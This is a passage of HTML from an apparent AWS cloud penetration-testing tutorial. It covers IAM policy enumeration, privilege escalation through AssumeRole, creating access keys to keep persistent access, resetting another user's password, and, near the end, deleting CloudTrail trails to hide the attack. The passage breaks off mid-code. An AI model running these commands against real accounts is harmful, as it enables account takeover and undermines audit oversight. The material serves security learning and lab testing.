&amp;lt;USERNAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListUserPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Example output&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyNames&amp;#34;: [&amp;#34;InlinePolicyForUser&amp;#34;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="querying-policies-attached-to-a-role"&gt;&lt;a href="#querying-policies-attached-to-a-role" class="header-anchor"&gt;&lt;/a&gt;Querying Policies Attached to a Role&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Managed policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListAttachedRolePolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Inline policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListRolePolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;h5 id="querying-policies-attached-to-a-group"&gt;&lt;a href="#querying-policies-attached-to-a-group" class="header-anchor"&gt;&lt;/a&gt;Querying Policies Attached to a Group&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Managed policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-group-policies --group-name &amp;lt;GROUP_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListAttachedGroupPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Inline policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-group-policies --group-name &amp;lt;GROUP_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListGroupPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification-2"&gt;&lt;a href="#reproduction-and-verification-2" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;p&gt;The next part is fairly simple. We just need to query EC2S3AccessRole and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\xxxxxx&amp;gt;aws iam list-attached-role-policies --role-name EC2S3AccessRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachedPolicies&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AmazonS3ReadOnlyAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AmazonS3FullAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AmazonS3FullAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AWSLambda_FullAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AWSLambda_FullAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\xxxxxx&amp;gt;aws iam list-role-policies --role-name EC2S3AccessRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyNames&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AssumeRole&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;ListRoles&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now we can see all its permissions, which raises a question. Anyone can tell what the three managed policies above do. They&amp;rsquo;re all standard policies, and we already know their exact permissions. Why insist on reading the policy document with iam:GetPolicyVersion? And why do these three permissions specifically need to be used together?&#10;iam list-policies (lists all managed policies in the account)&#10;iam get-policy (queries a policy&amp;rsquo;s default version)&#10;iam GetPolicyVersion (the most important one; reads the full policy document)&#10;Isn&amp;rsquo;t that just extra work? I had serious doubts about it too. In practice, though, this permission is still quite dangerous. The exact attack chain depends on the environment. It primarily matters for custom policies. What if the three managed policies found above were not standard AWS policies? You wouldn&amp;rsquo;t be able to confirm what permissions they grant. With iam:GetPolicyVersion, you can read them and find out exactly what they allow. If the policy contains any of the permissions in the table below, there is a lot you can do with it.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Abusable Permission&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Risk&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows a highly privileged role to be attached to Lambda / EC2 for privilege escalation&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows switching to a highly privileged role&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:CreateUser&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows creating a new IAM user as a persistent backdoor&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:AttachUserPolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows attaching administrator privileges to a low-privilege user&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows creating access keys for other users&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:UpdateFunctionCode&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Allows modifying Lambda code to introduce malicious operations&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;This attack chain assumes you know that a role has a particular custom managed policy attached, then inspect how that managed policy is actually written.&#10;The next question is: what do the other two of these three permissions have to do with it, and why mention them at all?&#10;iam list-policies (lists all managed policies in the account)&#10;iam get-policy (queries a policy&amp;rsquo;s default version)&#10;iam GetPolicyVersion (the most important one; reads the full policy document)&#10;We can use the first command to find every policy. If we discover a nonstandard custom managed policy, we check its version, retrieve the full document for its default version, and then use the custom policy to work out who it may have been assigned to—in other words, who has been granted that custom policy. We could even build a PoC that iterates over every role, or use the permission below to find the answer directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Determine which users, roles, or groups the policy is attached to.&#10;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListEntitiesForPolicy&lt;/code&gt; (lists the entities to which the policy is attached).&#10;&lt;strong&gt;Command&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyGroups&amp;#34;: [],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyUsers&amp;#34;: [{&amp;#34;UserName&amp;#34;: &amp;#34;BackdoorUser&amp;#34;}],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyRoles&amp;#34;: [{&amp;#34;RoleName&amp;#34;: &amp;#34;AdminRole&amp;#34;}]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point, we can identify the target role. If we have permission to use that role—or query its trust policy with get-role—we can then use arn:aws:iam::123456789012:policy/AdminPolicy.&lt;/p&gt;&#10;&lt;p&gt;That brings us right back to switching roles with sts:AssumeRole. This is the complete attack chain.&lt;/p&gt;&#10;&lt;h4 id="additional-notes-2"&gt;&lt;a href="#additional-notes-2" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;It may look a little complicated, but this is still a high-risk permission. It lets you read many policies, even if some of the possible uses feel a bit underwhelming. Some companies may define a whole pile of custom policies. AWS has taken the permission model about as far as it can go, but a single policy mistake by an administrator can still open the door to an attacker.&lt;/p&gt;&#10;&lt;h3 id="iamcreateaccesskey-creating-a-new-access-key"&gt;&lt;a href="#iamcreateaccesskey-creating-a-new-access-key" class="header-anchor"&gt;&lt;/a&gt;iam:CreateAccessKey: Creating a New Access Key&#10;&lt;/h3&gt;&lt;h4 id="theory-3"&gt;&lt;a href="#theory-3" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An Access Key is an AWS account credential&lt;/strong&gt;, equivalent to the username and password for the root account.&lt;/p&gt;&#10;&lt;p&gt;With &lt;code&gt;iam:CreateAccessKey&lt;/code&gt;, an attacker can create a new Access Key for themselves. Even if the original credentials are revoked, the attacker can still access AWS resources.&lt;/p&gt;&#10;&lt;p&gt;This is a &lt;strong&gt;persistence&lt;/strong&gt; technique that lets an attacker &lt;strong&gt;retain access over the long term&lt;/strong&gt; after gaining initial access to an AWS account, even if an administrator deletes the original credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;This one is fairly easy to understand. Once we obtain the target user&amp;rsquo;s permissions somehow—note that I mean user permissions, not role permissions, because roles only have short-lived keys while users can have long-lived keys—we just generate a new access key.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="setting-up-the-environment"&gt;&lt;a href="#setting-up-the-environment" class="header-anchor"&gt;&lt;/a&gt;Setting Up the Environment&#10;&lt;/h4&gt;&lt;p&gt;Just create a user with the &lt;code&gt;iam:CreateAccessKey&lt;/code&gt; permission. We can delete it later.&lt;/p&gt;&#10;&lt;p&gt;I won&amp;rsquo;t go into every detail here. In short, create a user with nothing else configured, give it a name, and then go to its inline policies.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s all we need.&lt;/p&gt;&#10;&lt;p&gt;Next, create an access key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just keep clicking Next until you&amp;rsquo;re done.&#10;Now add it to the AWS CLI configuration.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All set. Let&amp;rsquo;s reproduce it.&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification-3"&gt;&lt;a href="#reproduction-and-verification-3" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name test&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s really all there is to it. If you want to go a little further, the following two commands can help confirm whether the account you&amp;rsquo;re checking has the create-access-key permission.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Looking at these commands, you may wonder: since &amp;lt;target-user&amp;gt; is a variable, can we generate an access key for someone else? The answer is yes, but you need the following permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt; + &lt;code&gt;iam:UpdateUser&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;With both permissions, you can specify any user you want. AWS even allows &lt;code&gt;iam:UpdateUser&lt;/code&gt;, so you can also change another user&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam update-login-profile --user-name admin --password &amp;#34;NewSuperSecurePassword&amp;#34; --password-reset-required&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s see whether an administrator account can generate another access key for the &lt;code&gt;test&lt;/code&gt; account we just created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. Administrator privileges are as powerful as ever.&lt;/p&gt;&#10;&lt;h4 id="additional-notes-3"&gt;&lt;a href="#additional-notes-3" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;One more point about persistence: when you generate an access key, it will definitely be recorded in the logs. Deleting the trail here can help maintain persistence. Of course, this requires CloudTrail permissions.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AWS CloudTrail records &lt;code&gt;iam:CreateAccessKey&lt;/code&gt; events. It is recommended to delete the CloudTrail logs after the attack:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail delete-trail --name default-trail&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Stop CloudTrail logging (stealthier, but riskier):&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span 